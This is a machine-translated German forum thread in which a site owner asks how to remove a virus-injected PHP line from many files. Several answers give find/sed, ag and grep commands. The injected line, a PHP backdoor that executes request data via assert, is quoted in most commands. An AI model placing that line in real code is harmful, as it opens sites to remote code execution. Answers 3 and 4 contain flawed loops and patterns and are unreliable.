Linux-Befehl zum gleichzeitigen Suchen und Entfernen von Text aus mehreren Dateien

Linux-Befehl zum gleichzeitigen Suchen und Entfernen von Text aus mehreren Dateien

Meine Site ist mit einem Virus infiziert. Dieser Virus hat diese Zeile in mehrere Dateien auf meiner Site eingefügt. Meine Idee ist, diese Textzeile mit einem eindeutigen Befehl vom Terminal aus zu entfernen.

Nehmen wir an, ich habe den Ordner „my-folder“ und darin meine Dateien: „file-1.php“, „file-2.php“ und so weiter.

Nehmen wir an, es sind mehrere Dateien infiziert.

Gibt es einen Befehl, um diese Codezeile in mehreren Dateien zu finden und zu entfernen?auf einmal?

Zu entfernender Text: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

Ich habe das hier gefunden, aber es funktioniert nur mit einer einzigen Datei:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

Darf ich das machen?

Antwort1

  1. Sie können es sedmit kombinieren find, um es rekursiv zu machen. Etwa so:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    Beachten Sie, dass es Ihren aktuellen Verzeichnisbaum durchläuft und sed auf jede vorhandene „*php“-Datei anwendet. Es wird auch eine .bak-Sicherungsdatei für jede geänderte Datei erstellen (damit Sie sie später für alle Fälle wiederherstellen können). Wenn Sie keine Sicherung benötigen, ersetzen Sie -i.bakeinfach durch -i. Andernfalls können Sie Sicherungen später (sobald Sie überprüft haben, dass alles in Ordnung ist) mit etwas wie entfernen find . -name "*php.bak" -delete.

  2. Mit diesem Schritt können Sie nicht sofort alles beheben, aber er kann Ihnen in Zukunft definitiv Zeit sparen: Behalten Sie Ihr Verzeichnis mit den Skripten darunter git(idealerweise sollte es eine vollständige CI/CD-Lösung sein, aber Sie können auch einfach mit Git beginnen), sodass Sie an Ihren Dateien vorgenommene Änderungen problemlos rückgängig machen oder weiterleiten können.

Antwort2

Suchen Sie nach Dateien, die die schädliche Zeichenfolge enthalten, und bearbeiten Sie sie mit sed:

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Ich verlasse mich oft aufagum nur nach phpDateien mit dem --phpFlag zu suchen. Wenn Sie möchten, können Sie dasselbe mit folgendem erreichen grep -r -i --include \*.php:

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Antwort3

abhängig von Ihrem Befehl empfehle ich Ihnen, hierfür eine „for-Schleife“ zu verwenden:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

Sie können auch jede gewünschte Datei zu „for i in file-1.php file-2.php file-n.php“ hinzufügen.

Antwort4

Sie können die folgende Methode verwenden, um die Zeilen in der Datei zu löschen, die ein bestimmtes Muster enthalten

Sie können die Dateien in einer For-Schleife erwähnen

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

verwandte Informationen